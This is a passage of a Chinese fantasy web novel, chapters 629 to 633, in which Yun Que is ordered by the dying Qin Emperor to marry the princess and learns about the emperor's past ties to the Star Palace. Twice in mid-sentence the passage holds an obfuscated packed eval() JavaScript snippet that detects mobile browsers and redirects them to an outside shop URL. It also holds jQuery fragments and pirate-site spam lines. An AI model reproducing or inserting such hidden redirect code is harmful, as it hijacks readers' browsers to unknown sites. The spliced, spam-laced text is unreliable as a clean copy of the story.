赢财被吓了一跳,道: “干什么你!变态啊! 赢人志在一旁赶紧捂住心窝生怕云缺也来解他衣服。 “我要见陛下。”云缺道。 龙桃点头带着云缺前往御书房。 路上云缺低声问道:“太尉大人陛下的身体是不是骸骨?” 龙桃的神色变了变同样低声道:“你看到了?” 见云缺点头龙桃叹息道: “如你所见陛下确实是骸骨之躯血肉已经很少。” “怎么会这样难不成得了什么怪病?”云缺道。 “不清楚陛下从未对旁听吐露过半个字据我猜测也许陛下的状态 “一品武圣就要成为骸骨之躯?怎么修炼到最后连血肉都得修没了?”云缺道。 “一品的弊端除了陛下之外没人知晓虽然老夫已经二品但距离一品还有极其遥远的距离看不透真相。”龙桃道。 “一品……”云缺目光微动。 除了秦皇天下确实没什么一品了但大唐有一位! 白家老祖。 可惜白家老祖在少年城斩出的惊天一剑后最后一份剑意也随之消散估计得不到有用的消息。 不过白家老祖有传承。 武威王忆白龙就是白家老祖亲传弟子那位大唐的皇叔也许对一品弊端有所了解。 云缺一边想着一边随着龙桃来到了御书房。 一进屋云缺就是一皱眉。 屋子里点着檀香却压不住那股沉沉的死气。 秦皇斜倚在大椅上除了脸色苍白之外看不出其他虚弱的现象。 不过屋子里的死气却难以掩饰。 云缺知道这位大秦之主已经到了油尽灯枯的境地只是在强撑着不肯倒下而已。 要不然怎么拿着奏折的手都在微微颤抖呢。 看到秦皇的模样一股悲意涌上云缺的心头。 有一种英雄迟暮的既视感。 强如大秦之主天下一品居然也有如此虚弱的时候。 云缺觉得如果秦皇死在皇宫一定不会瞑目身为武夫应当战死沙场才叫痛快。 “陛下驸马到了。” 龙桃禀报了一声后自行退下关好了 书房大门。 屋子里,只剩下云缺与秦皇两人。 两人谁都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678777|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有先说话,沉默了许久。 最后,秦皇开口道: “少年城,你准备如何处置。” 声音依旧充满威严,只是变得十分沙哑,仿佛秦皇用尽了力气才能说出这几个字。 “回援大晋,攻打邵武国,剑指九夷城,九夷城的城主是星辰殿的人,必须除掉。” 云缺没有任何废话,将自己的打算简短道出。 如今的局面,已经用不着掖着藏着了,打开天窗说亮话即可。 秦皇缓缓点了点头,沙哑道: “可以,九夷城覆灭之后,少年城之人,需要回归大秦。” 秦皇开出了条件。 云缺略一沉吟,点头道: “一言为定!” 这笔买卖,云缺不陪。 无需大秦出兵,只要能带走少年城的少年大军,邵武国的威胁即可迎刃而解,虽然九夷城是个棘手的地方,但云缺有信心搞垮九夷人。 前提是稳住大晋才行。 同归于尽的下场,绝非云缺想看到的结局。 毕竟大晋也是大燕,是云缺的出生地,是云缺的家。 秦皇可以不帮忙解决邵武国,但云缺能断定,秦皇肯定会对星辰殿动手,等大晋强大之后,可以与大秦联手,加上大唐,三方共同绞杀星辰殿,解决这块云州最大的毒瘤。 “陛下准备如何应对星辰殿。”云缺问道。 秦皇沉默了良久,沙哑道:“必除之……” 有了秦皇这句保证,云缺彻底放心了。 “敢问陛下,星辰殿的殿主,究竟是何人,他在什么地方。”云缺道。 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节) 既然秦皇曾经是星辰殿的生肖高手,一定知道星辰殿的隐秘。 不料秦皇缓缓摇头,沙哑道: “不清楚,十二生肖估计除了辰龙之外,没人见过殿主,朕只知道一个代号,极,神秘至极……” 云缺有些失望,并对星辰殿的殿主更加忌惮了几分。 连曾经身为子鼠的秦皇都没见过殿主,可见对方太过神秘,这种人可不好对付。 代号为极,这份线索对云缺来说基本没什么用处。 联想到辰龙可以打开通往大渊的空间通道,云缺神色微变,道: “会不会那个殿主,住在大渊里?” 秦皇沙哑道:“有可能,星辰殿没有固定的老巢,极,从未在人前现身过,他只提供一些诡异的法门或者丹药,供给生肖高手修炼。” “陛下身体的异样,莫非修炼了那殿主的功法或者吃了丹药?”云缺道。 秦皇缓缓摇头,否定了云缺的猜测,艰难的摆手道: “我与他们不同,去吧,朕乏了……” 见秦皇太过虚弱,云缺有很多话不好多问。 “陛下好好将养,我这就去少年城,不日出发返回大晋。” 云缺提前告辞,施礼准备告退。 “不急,你有更重要的事。”秦皇虚弱道。 “不知陛下要我做什么?”云缺狐疑道。 “明日,你与公主成亲。”秦皇道。 云缺一听愣在当场。 我是假太子啊,还成亲? 云缺十分怀疑对面的秦皇伤势太重,开始胡言乱语了。 第630章 天下第一的大好人 “陛下,让我与公主完婚?” 云缺为了确认,又问了一句。 得到的,是秦皇的肯定答复。 而且必须在明天完婚。 “这么急,陛下有恙在身,不如婚事拖后一阵,等我处理完邵武国再回来成亲如何。” 云缺明显准备开溜,秦皇的女婿可不好当,况且家里还有瑶儿呢。 “明日,完婚。” 秦皇的语气变得重了几分,带着不容置疑之意,沙哑道:“给你一个月的时间,让公主怀上孩子,朕的皇位,将由你们的孩子来继承,菲雨何时怀有身孕,你何时可以带走少年城的人。” 云缺都听傻了,直勾勾盯着秦皇。 这皇帝,应该是真糊涂了。 你有三个儿子呐! 怎么算,也轮不到外孙继承皇位吧。 大皇子赢财如果不行,就换二皇子赢皓,反正赢皓看样子死不掉,早晚能恢复过来。 二皇子如还不满意,那就换老三赢人志。 外孙当皇帝,简直是天下奇闻,别说当真登基,这种事传扬出去都让人笑话。 “这事儿,怕是不妥吧,陛下是否再考虑考虑,大秦皇位哪有传给外姓人的道理。”云缺道。 “你与公主的孩子,姓赢。”秦皇这话说得有气无力,但听起来实在让人气闷。 云缺翻起白眼。 我和公主生孩子,还不是我的姓,驸马就这么没有存在感吗。 我是驸马呀,又不是牛马! “如果公主之子登基,三位皇子恐怕不会答应,到时候陛下驾鹤西游,留下个战乱遍地的大秦,当年的九子夺嫡惨事,又会重演,还望陛下三思。” 云缺好心的提醒,希望唤醒这个糊涂皇帝。 “朕意已决。”秦皇虚弱的道:“你,是不是觉得一月时间不够。” 这话一出,云缺顿时恼怒起来。 一月时间不够? 一天! 老子一天就让你女儿怀孕! 瞧不起谁呢! “臣,遵旨!” 云缺气哄哄摔门而去。 云缺走后,书房里的秦皇轻咳了起来,脸上呈现出痛苦之色。 咳出的不是血,而是一滩黑水。 秦皇强撑着站了起来缓慢的走到书房角落掀开黑布罩子现出了一面铜镜。 回来的时候秦皇命人将金銮殿的铜镜搬到了书房只是始终以黑布罩住。 铜镜前的秦皇虚弱得摇摇欲坠但是嘴角却翘起一抹罕见的笑意有着极重的嘲讽意味。 而镜子里的秦皇则怒目而视咬牙切齿。 “有些便宜只能占个皮毛罢了你永远也别想如愿咳咳咳……” 秦皇宛如自语般虚弱的说道。 镜子里的秦皇抬手开始写字。 ‘你活不到一个月!你死了会下十八层地狱!’ ‘下油锅!上刀山!所有地府酷刑你都会享受一遍!’ ‘你是混蛋!世上最大的混蛋!’ 秦皇笑容不减虚弱道: “彼此彼此……朕知道这些年你在等什么你的如意算盘终究是镜花水月 镜子里的秦皇愈发愤怒继续在镜面写字全是骂人的词汇越骂越难听。 秦皇将黑布重新罩了回去遮住了铜镜踉跄着跌坐在大椅上。 望着窗外的飞鸟秦皇的目光变得空洞无神尽显苍凉。 没人能看到堂堂大秦之主当世一品强者居然也会有羡慕一只飞鸟的时候。 此时的秦皇亦如被关在笼子里的鸟儿虚弱得无法再次飞翔只能默默望着曾经翱翔过的天空等待着死亡。 恍惚间 自己率领大军南征北战的身影仿佛再次出现在赢開面前。 战场上的刀光剑影多么令人痴迷啊…… 大秦武帝何时如此虚弱过。 唉…… 无人的御书房内空留一声轻叹。 后悔吗? 赢開如此询问自己。 心里没有任何悔意那是他自己的选择。 继承。 继承了本不该属于他的东西…… 代价便是如此。 云缺走在皇宫里。 一脸怒容。 “有逼人还债的哪有逼人生孩子的!什么皇帝是不是被一剑砍傻了?” 云缺嘀嘀咕咕。 秦皇如 此决然,想必很快就有圣旨下来,自己算走不出天龙城了。 除非让公主怀孕,或者等秦皇死。 大秦自然不缺灵丹妙药,云缺估计还是选前者比较好,毕竟简单,睡一觉的事儿而已。 如果秦皇一月后不死,自己还是带不走少年军,不知得拖到什么时候。 云缺渐渐冷静了下来。 秦皇不会糊涂,其中一定有不为人知的隐情。 云缺猜测,秦皇的寿命恐怕至多只能坚持一月时间,一月过后,秦皇将一命呜呼。 对于秦皇这个人,云缺的感情有些复杂。 毕竟少年城之战,云缺算是与秦皇联手对敌,可以称得上一起拼过命。 秦皇的为人,看起来也不错,从一斑而窥全豹。 是一位合格的帝王。 但是不立亲儿子为太子,反而将外孙立为储君这种怪事,云缺怎么也想不通。 既然想不通,云缺也就不想了。 既然非得让我睡你女儿,那就恭敬不如从命,到时候自己儿子掌握大秦,自家夫人掌握大晋,云缺自己又是大燕国主,加上与大唐的亲戚关系,整个云州差不多到手一大半了! 胡思乱想着返回之前的偏殿。 进来之后,看到多了两人,都是白发白须的老者,御医打扮。 “能否有效?左兰山沉声问道。 “无法断定,但值得一试。 说更新,记住域名qiexs⊿(请来企鹅小 说 看最新章节 完整章节) “此为古法,古医书曾经有过记载,不仅需要至亲之血,还必须完全融合才行,不可有丝毫排斥。 两名御医如实说道。 龙桃焦急道:“那还等什么!现在就试啊!正好人都在这呢,再等黄花菜都凉了! 左兰山迟疑道: “不可鲁莽,陛下体质特殊,古医书上的病例未必适合,一旦再遭重创,伤势将更重,必须保证最为纯正才行。 龙桃点头道:“倒也是这么个理儿,这就麻烦了呀,陛下不能再失血了,这可怎么办。 左兰山道:“少年城里应该还遗留着陛下的鲜血,我这便去收取。 说罢左兰山急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678778|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆匆离开偏殿,化作一道遁光远去。 两名御医也退了出去。 “是否有办法治疗陛下了?云缺问 道。 “算是个办法吧御医说是一种溶血之法以血补血希望对陛下有效。”龙桃道。 云缺恍然大悟这法子曾经听七叔提起过。 失血过多的病患只要以亲人的鲜血补充就有机会渡过难关捡回一条命。 赢皓伤势太重放血肯定有危险但赢财和赢人志还活蹦乱跳的呢两个皇子抽血再加上宁玉公主怎么也够用了。 “如此一来陛下就有救了。”云缺道。 “不好说啊陛下的体质异于常人即便亲人之血也未必有用。”龙桃道:“为了确保能完全溶血必须万无一失 龙桃问完屋子里的几人齐齐摇头。 大血滴子云缺倒是见过当初没用得起太贵了。 “怎么都没有啊算了我自己去找!” 龙桃背着手急匆匆离开。 见太尉走远赢人志嘀咕了一句:“谁没事儿买那玩意玩滴血验亲么……” 赢财回忆道:“皇宫里的确没有大血滴子我记得天龙城一次拍卖会上出现过确实贵得离谱流拍了没人买我们大秦可不像大唐妻妾随便送弄得儿子不知谁是老子老子不知谁是儿子……” 说着说着赢财神色一变面带歉意道: “没说你啊驸马你爹肯定是天下第一的大好人!宠妻爱子伉俪情深相濡以沫举案齐眉!” 赢财到现在也没确定云缺到底是大唐来的还是大晋来的刚才那番话如果被唐人听来绝对有被冒犯所以连忙改口怕云缺生气。 不管是唐人还是晋人人家可是真正的少年王连巫神都能给干掉的狠人赢财生怕得罪了云缺。 其实他不解释还好云缺根本没在意现在说完云缺的脸都黑了。 刚才我觉得你在指桑骂槐现在我觉得你在指着鼻子骂我。 伉俪情深举案齐眉?我爹要是好人天下好人就死绝了…… 辰龙与云缺的关系大皇子等人并不知情。 云缺倒是不怪赢财只觉得郁闷不已。 这时圣旨到。 简单一句话明日公主完婚。 宁玉公主紧紧拉着云缺的手小脸儿上有些害羞也有些期待。 云缺则心不在焉满脑子都是秦皇的伤势是不是没在脖子而是在心眼儿上。 被辰龙一剑砍成缺心眼了? 不久后丞相与太尉相继归来。 左兰山成功收集到秦皇的一滴血迹用法器盒子保存起来。 龙桃则两手空空而回大血滴子没找到他已经派遣手下即刻起程赶往大唐无论花费多少都要买一件回来。 得知皇帝下旨命公主明日成亲丞相与太尉纷纷觉得意外。 两位老者互视了一眼没说什么。 其实他们将皇子与公主都集结而来是准备等待皇帝立储君。 如果秦皇有个三长两短大秦不能无主否则必将动荡。 结果储君没立等来了公主先成亲的圣旨。 天色已晚众人相聚散去。 宁玉公主本想与驸马一起回府结果云缺被龙桃和左兰山拦了下来说有事相商让公主先行回府。 随后两个老头儿做贼似的架着云缺冲出了皇宫。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第631章 到处当驸马 一处无人的偏僻小巷内,丞相与太尉一左一右将云缺夹在中间,鬼鬼祟祟的质问。 “陛下跟你说了什么?有没有提及立储之事?” “陛下的语气如何,情绪如何,表情有何细微变化?” “一个字也别漏下,叹气几次咳嗽几次?” “肢体语言也是重中之重,陛下有没有比量过什么手势,比如一二三之类。” “大秦未来的国君之事,关乎重大,你小子可得如实说来,骗我们就揍你!” “人在说谎之时心脏跳动会有细微差别,别人看不出,当世大儒一眼便知!” “别打马虎眼!” “如实交代!” 两个加起来快两百岁的老头子,瞪着眼睛,撅着胡子,气势汹汹又提心吊胆的模样,看得云缺无奈至极。 “陛下只说让我明日与公主完婚,没提别的事……” 云缺这边刚说完,俩老头吹胡子瞪眼。 “不可能!陛下连我们都没见,回来之后只召见你一个,不是托孤是什么?” “心跳加快了!眉头微蹙,脑袋还在往后躲,你心里一定有鬼!哼!休想瞒过老夫!” “丞相大人这两天没刷牙吧,口气太重,小生快扛不住了,想吐……” 两个老头愣了愣,接着直接动手。 左兰山捂住云缺的嘴巴,龙桃开始搜身,找一找有没有密旨之类的东西。 嘎吱。 小巷里一户院门打开,有个妇人出来倒洗脚水,端着木盆愣在门口。 在妇人眼前, 家对面两个贼眉鼠眼的老头,正在对一名年轻人又是捂嘴又是拔衣服…… 巷子里,四个人,八只眼,全都呆滞了一瞬。 哐当! 木盆摔落,妇人逃也般退了回去,关门的同时尖叫声响起。 “非礼啦!!!” 巡夜的军兵很快赶到,巷子里空荡荡,哪有人影。 九儒楼,包间。 太尉与丞相气呼呼的喝着闷酒。 喝一口,瞄一眼对面闷头大吃的云缺,生怕对方跑了。 “陛下,真没立储?” 龙桃狐疑道。 左兰山没吭声,这位丞相脸色不太好,苍白如纸,他伤得可不轻,始终没来得及修养。 “可以说没立,也可以说立了,唉,这事儿有点复杂,等我吃饱再给你们讲讲。” 云缺说完往下落筷,发现夹空了。 一低头,桌子没了! 龙桃一只手直接把桌子给抽走,单手举着桌面跟表演杂技差不多。 “什么叫立了又没立?你小子能不能说完再吃,要急死我们是不是!”龙桃抓耳挠腮道。 “让他吃饱,天大的事也不差一顿饭的功夫。”左兰山看似大度,继续道:“饭桶不吃饱怎么有力气开口。” 得,这下云缺不吃了。 果然是学问人,说话就是难听。 “陛下说皇位传给公主之子,让我加把劲,快点生个儿子出来继承大秦的基业。” 云缺说完,再看俩老头。 一个撇着嘴,一个皱着眉,明显谁都不信。 “驸马啊,老夫待你不错,影步可是老夫的绝学啊,绝学都传给你了,难道换不来你一句真话吗?” “浩然气需常年蕴养方可汇聚浩然剑,剑断,便需要重头蕴养,老夫借你的不是浩然剑,是毕生之力!枉我付出一切,难换真心呐!” 两个老头子痛心疾首,摇头喟叹,大有一种怨妇的既视感。 看得云缺直起鸡皮疙瘩。 这种画面,外人这辈子是看不见的,谁能想到堂堂大秦丞相与太尉,文武之首,居然像两个孩子似的耍脾气了。 云缺叹了口气,道: “真话啊二位大人,我说的是真话!陛下就是这么说的,一字不差,骗你们,我能有什么好处,再说了,我这人从小就老实,长这么大没说过谎,不信你们去学宫问问,我的信誉可好了。” 龙桃和左兰山满眼狐疑,明显不信。 比起秦皇让公主之子继承皇位,这二位对云缺再学宫的信誉更持怀疑态度。 “你是不是想要趁着陛下重伤不治,要打大秦的主意?”左兰山沉声道:“古往今来,哪有帝王将外孙立为储君,实在荒唐!” 几次被质疑,云缺也生气了,怒道: “我哪知道你们皇帝抽什么疯!大秦又如何,我真就不稀罕!大晋女帝是我媳妇,唐皇是我舅舅,我还是大燕国君!皇帝而已,我自己就是!” 龙桃皱着眉,狐疑道:“你这身份,这么复杂吗?你是不是喜欢在云州到处当驸马啊。” “我驸……”云缺艰难的把后半句咽了下去。 要不是对面是两个二品,云缺肯定把驸你大爷这句话说完整喽。 云缺好一顿赌咒发誓,才让丞相与太尉相信了一半。 左兰山疑惑道: “陛下伤势极重,莫非伤及了神魂,出现胡言乱语,胡乱指派储君?外姓人,怎么能当大秦之主,若公主之子登基,赢家,岂不是就此断送了天下基业。” 龙桃将桌面重新摆了回去,道: “这点倒是不必太过担心,估计公主一旦生了儿子,肯定姓赢,不可能姓云,反正都是赢家血脉,不算断基业,再者说,陛下不也是皇孙继位嘛。” 云缺翻着白眼,继续吃饭。 姓赢? 等熬死你们这群老东西,我就让儿子改回来姓云! 什么大秦,统统归我大燕! 不行,大燕不够霸气,改成大云! 云州嘛,直接一统,成为云国! 如此想法,只是云缺的一时气闷而已,他对大秦还是大燕都没什么兴趣可言。 做个逍遥王爷多好,谁愿意当皇帝谁当,大半夜的还得批阅奏折,累得慌,搂媳妇睡觉多舒坦。 “皇孙是正统血脉,岂能与外孙相提并论!不对,此事必有隐情,陛下即便神魂受损也不会说出如此荒唐之言……” 左兰山沉吟自语。 “也许是陛下的一时气话呢,谁让那三个皇子都不争气。”龙桃喝着闷酒数落道:“一个不务正业背黑锅,一个酒蒙子,一个败家子,看着这三位我就来气,唉。” “不对,不对……” 左兰山的神色开始变化起来,仿佛想到了什么,脸色更加苍白,忽然道:“大血滴子何时能找到。” 龙桃道: “我派去的人手是绝对的心腹,这会儿应该到大唐了,不出意外,一两天应该能带回来。” “太慢了,我亲自走一趟大唐!”左兰山留下一句话,直接化作遁光匆匆远去。 “还是丞相大人忠心耿耿呐,这么点功劳也要争,机灵鬼!”龙桃骂了句,转向云缺,挤眉弄眼的道:“小子!外人走了,就咱们爷俩了,你快跟我说实话,陛下到底立没立储君啊?” 云缺一脸无奈。 这俩老头怎么越活越回去了,像两个小孩子似的。 “太尉大人,我说的真是实话,骗丞相也不能骗大人你呀,我们可都是武夫,自己人!”云缺道。 “这话我爱听哈哈!” 龙桃大笑起来,笑了两声又变得愁眉苦脸道:“陛下到底怎么了,立外孙为储君,这要是传扬出去就麻烦了,三位皇子也不能同意啊,陛下若是陨落,大秦非得大乱不可。” “有太尉与丞相大人坐镇,大秦应该乱不起来,等孩子大了,不就天下安稳了么。”云缺道。 “说得有理!有我和左老头在,谁也翻不起风浪……唉?我怎么觉得你在占便宜呢,想让我们两个老家伙帮你带孩子吗!”龙桃道。 “太尉大人放心,我儿子肯定也是武夫呀!您老正好多个传承之人,要不然您老的一身绝学,没个正经人继承,死了也不甘心呐。”云缺道。 “有道理,有道理!嘿嘿,老夫将来也当一个帝师,压左兰山那老家伙一头哈哈!”龙桃挺高兴,多喝了好几杯。 他是武将,对传承看得没那么重,反正只要是秦皇血脉,谁当皇帝都一样。 不像左兰山,对皇族血脉极为重视。 在左兰山眼里,皇帝的外孙可没有继承皇位的资格,绝不会允许这种事发生,三个皇子谁当太子都行,唯独公主,与皇位无缘。 吃饱喝足,云缺提出个请求。 “太尉大人,我想找两个人,这两人与星辰殿有所关联,麻烦虎贲军帮我留意一番,要活口。” “你说,只要在大秦地界,挖地三尺都能抓得出来!”龙桃道。 “多谢大人,那两人一个叫商福,一个叫商暮,是两兄妹,我将他们的画像画出来。” 云缺很快完成了画像,栩栩如生。 龙桃收下画像,立刻唤来心腹,当晚开始通缉两人。 云缺再次谢过太尉。 商福与商暮关乎着云长吉真正的身份,而商家兄妹,是这份最后谜团的唯一线索。 “太尉大人,我有一事不明,想要请教一二。” 云缺客气了起来。 一听客气话,龙桃立刻不爱听了,道: “小子,咱们也不是外人了,别来那套文绉绉的词儿!你可别学左老头,自己把自己活成个老不休,明着谁都怕他,实际谁都烦他,咱们武夫就要直来直往,有啥说啥!” “好,我学太尉大人,直来直往!” 云缺笑道:“陛下当初与星辰殿有什么关联,九龙夺嫡,陛下是不是借助了星辰殿的力量,才夺来的皇位?” 龙桃听得眼皮一跳,心说你小子还真直来直往啊,什么都问! 这种事能明着说嘛,咱们就不能学学那些文臣,绕点弯子委婉点? 第632章 从小开始洗脑 对于云缺的问题,龙桃一时间哑口无言。 关乎秦皇当初登基的秘闻,龙桃如何能与外人道。 “这个嘛,当年旧事不提也罢,总之当时乱得很呐。” 龙桃敷衍了一句,举杯道:“喝酒,喝酒!” 云缺陪着喝了一杯。 “旧事不提,那咱们说说新的传闻,据说这九儒楼当初有九位大儒争雄,谁都不服谁,都想当那大儒之首,后来听说有个小小儒生,一笔定乾坤,灭了九儒之威,荣登魁首,成为九儒之首,这事儿,太尉大人有耳闻吧,能否给我说说详情。” 龙桃一听顿时眼前一亮,嘿嘿笑道: “这事儿老夫倒是知道一二!当时老夫也在场啊,那叫一个热闹,我来给你讲讲!” 云缺多聪明,知道龙桃在忌惮什么,毕竟当年的皇位之争必定残酷,有许多不可传扬的隐秘,龙桃自然无法多说。 于是云缺将九儒楼比作皇城,九位大儒比作九龙夺嫡,这样一来龙桃就没什么顾忌了。 “当年九位大儒争得那叫一个凶狠,斗了二十来年难分胜负,九儒楼里的饭菜都快被斗光了。” 龙桃唏嘘感慨,悠悠讲述。 “后来那个小儒生横空出世,携边军……呃不对!是携带一竹筐笔墨纸砚杀入九儒楼!文韬武略无不令人折服,老夫当时也仅仅是三品而已,随波逐流,寻不到明主。” “见到那小儒生的第一眼,老夫就知道,他才是九儒楼真正的主人。” “但其他大儒并不甘心,这么多年的争夺,谁手里没有几张底牌,当那小儒生力压众人声威大起之际,九位大儒选择了联手对敌,誓要将小儒生赶出九儒楼。” “我记得那场大战,血流成河……呃笔墨四溢啊!九儒楼差点被拆喽,九位大儒联手,小儒生难以抗衡,败局已定。” “毕竟经营多年,九位大儒的实力不容小觑,各自身后都有着强大的势力,一个边外偷生的小小儒生,如何能抗衡,终将昙花一现。” “小儒生终于还是败了,退出了九儒楼,人们都觉得小儒生可惜,再无回归的机会。” “一年后,九位大儒商讨出了对策,决定一字定胜负,谁赢,谁成为九儒楼之主,因为再斗下去,九儒楼就真要散架喽,到时候没了这座楼,谈何大儒之首。” “当时的比试尚未开始,一年前退走的小儒生,居然再次归来,这一次,他变了气势,一身紫袍,还带来了一位强援,以摧枯拉朽之势,战败九位大儒,连斩八人,只留下一个,困在九儒楼多年。” “九儒之首,最终还是落在小儒生的头上,老夫觉得他才是天选之人,于是毫不犹豫的归入其麾下。” “自此九儒楼稳定下来,并且买卖做得越来越好,风生水起,财力也越来越足,成为天下最大的一份生意。” “但是我觉得小儒生,他并不快乐,脸上从没有过笑容,眉宇间始终有着难解的阴郁,仿佛藏着沉沉的心事。” “小儒生,与一年前不同了,当年的桀骜,仿佛在一年内尽数消散,只剩下稳重与冷漠。” “一年时间,小儒生身上到底发生了什么,我不知道,他也从未提及,但能看得出来,小儒生应该失去了一些东西,一些对他来说很重要的东西。” 龙桃连喝了三杯,沉沉一叹,道:“或许,这就是成为九儒之首的代价吧……” 龙桃的讲述,自此结束。 云缺也听懂了当年的大致经过,并且断定秦皇能坐上皇位,少不了星辰殿的助力。 至少一年后秦皇带来的强援,必定是一位生肖高手! 云缺暗自思索。 从时间推断,秦皇应该是败走皇城后的那一年里,加入的星辰殿。 与星辰殿的反目时间,应该不会太远,估计在坐稳皇位,拥有了自己的势力之后。 星辰殿的所作所为,与赢開格格不入,双方注定不会走在同一条路上,这一点云缺可以断定。 不过当年协助秦皇争夺皇位的生肖高手,云缺倒是兴趣十足。 “当年陪着小儒生杀回九儒楼的强援,到底是谁,大人应该见过。”云缺道。 “的确见过,名字很霸气,老夫这辈子都忘不了,他叫徐傲古。”龙桃道。 云缺回忆了一番,这名字十分陌生,从未听闻。 现阶段云缺接触过的生肖高手当中,没这个人。 “大人可曾见过那徐傲古的紫袍袖子上,有没有字迹。”云缺道。 “有,是一个丑字。”龙桃道。 云缺并无意外。 既然秦皇曾经是子鼠,那么丑牛帮他,天经地义,两人曾经是同一组。 “这人长什么模样,大人还有没有印象。”云缺道。 “模样啊,说实话没看清,对方始终戴着兜帽,遮住了容貌,不过我看到过一个特征。” 龙桃一边回忆,一边摸着自己的下巴,道:“龅牙,对!那家伙有两颗大龅牙。” “龅牙?” 云缺摇了摇头,龅牙这种特征实在太普通了,街上有的是龅牙。 “那位徐傲古怎么没在九儒楼,他去了何处。”云缺问道。 “不清楚,我也仅仅见过几次而已,不到一年,那家伙就彻底消失了,再没出现过,而陛下……呃小儒生也变得更加冷漠,更加强大,也更加陌生了许多……” 龙桃唏嘘道。 连太尉都所知不多,可见这段隐秘的往事,秦皇从未与外人透露过。 想要知道真相,恐怕只有亲自去问秦皇,但云缺估计人家未必肯说。 毕竟叛出星辰殿,不是什么太光彩的事。 既然子鼠叛出星辰殿,那么丑牛去了何处呢,云缺始终百思不解。 龙桃又喝了两杯后,起身离去。 秦皇的状态太过危险,他这位太尉得守在皇宫,一旦出现意外,有人应对才行。 太尉走后,云缺陷入沉思。 “徐傲古,丑牛,龅牙……” 云缺的目光微微晃动起来。 龅牙虽然常见,但拥有龅牙的强者可不多见,恰巧云缺就认得一位。 二哥! 二哥神智出了问题,自己名字都记不得了,只知道姓徐。 并且二哥也有一套紫衣,袖口也有字迹,不过是个奇怪的二字。 云缺以手指蘸了酒水,在桌子上写了个二。 然后在二字的基础上,添了几笔,立刻变成了丑字! “徐二哥,徐傲古……原来二哥就是丑牛!” 云缺低呼起来。 云缺心里很复杂,自己身边怎么总出现生肖高手。 先是魏墨城与辰龙,之后是秦皇,还有个二哥也是! “二哥的伤势,莫非与秦皇有关,他们一起叛出了星辰殿,还是他们互相反目搏杀所致?” 云缺一时间无法判断出真相。 二哥人不错,拿云缺当小老弟一样,打劫的时候总想着云缺,次次分好处。 其实云缺不想与二哥为敌,但如果二哥始终是星辰殿的走狗,那也没办法,下次见面只能沦为仇敌。 希望二哥与秦皇一样,早已叛出星辰殿,云缺心里如此想着。 吃饱喝足,无需结账,云缺来到街上。 对面的书楼漆黑一片,早已关了买卖,旁边的浴堂倒是灯火通明。 走进浴堂,常威和瞎子正恭候多时,一旁站着鸿影。 回来的时候,云缺将鸿影暂时安顿在浴堂这里。 拍了拍鸿影的肩膀,道: “先在这里住一阵子,等恢复好了,再回草原。” “我没事了师兄!你瞧,我壮着呢!”鸿影运转气机,给云缺秀了秀肌肉,高兴道:“刚才吃了八碗饭!大秦的伙食真好吃!” “好吃就多吃点,管够儿。”云缺笑道。 鸿影岁数小,气血充沛,加上血蛮的天赋,半天下来已经活蹦乱跳,精力十足。 小舅子没事,云缺也就放心了。 “师兄!我也要去攻打邵武国,宰了九夷人!”鸿影挥着拳头道:“我们草原大军离着邵武国最近,等我回去调集兵马,推平九夷城!” 云缺心说那感情好啊,你们草原若是能与大晋联手,邵武国更没机会了。 关键等你知道你爹到底是谁之后,还能不能有精神去攻打九夷城,这是个大问题。 “鸿影啊,你有没有想过,如果有朝一日,大晋与草原成了一家人,你该如何面对呢。” 云缺试探着问了句。 “一家人?” 鸿影挠了挠头道:“那好哇!我就可以随便去天祈城玩了!我娘说天祈城可好玩了,有无数好吃的,还有天祈学宫!我娘最大的愿望就是让我拜入天祈学宫,再娶个大晋女子,成为有学问的人!” 云缺眼皮跳了跳。 好么,不止你爹潜移默化改变你的人生,原来你娘也从小就开始给你洗脑啊。 可怜的娃儿…… 想起可怜这两个字,云缺无奈的苦笑了一声。 比起自己,鸿影应该叫做幸运的娃儿,至少人家的爹娘没把亲儿子往火坑里推。 来到后院一间无人的小屋,云缺望着床榻上的尸体,默默无语。 穹音的容貌,依旧如活着般绝美,但是再无生机。 勾玉遁逃之后,留下了一具不会腐烂的尸身。 “穹音,你的魂魄到底还在不在这天地之间,如果在的话,托梦告知我……” 云缺轻抚着穹音的秀发,语气沉重的呢喃着两个字。 “大渊……” 第633章 陪我走完最后一段路 返回公主府云缺倒头就睡。 这次少年擂,云缺实在累得不轻,复生天赋就动用了两次,铁人也扛不住了。 天刚亮,睡得正香的云缺被公主府里的嘈杂吵醒。 今天是大婚之日,公主府里肯定要早早开始准备。 打了个哈欠,云缺听了听动静。 嘈杂中伴着阵阵惊呼。 出门一看,几名宫女正慌慌张张往外跑,见鬼了似的。 “出了什么事。”云缺问道。 “驸马!不好了,公主、公主失血过多!” 宫女们如实回答。 失血过多? 云缺觉得奇怪,公主又没去战场,怎么会流血。 赶到小木屋。 眼前的画面,让云缺为之一惊。 宁玉公主躺在床上,脸色苍白如纸,一只手的手腕上缠着一圈红树叶,旁边的铜盆里是小半盆鲜血。 这一晚,宁玉公主竟自己放了几斤血! 树婆婆站在一旁,脸色变得很难看,一节翠绿的树枝在窗口组成了树公公的愁眉苦脸。 “你疯了?嫌自己血太多是不是!”云缺道。 “我没事,我想帮父皇收集些赢家之血。”赢霏雨虚弱的道。 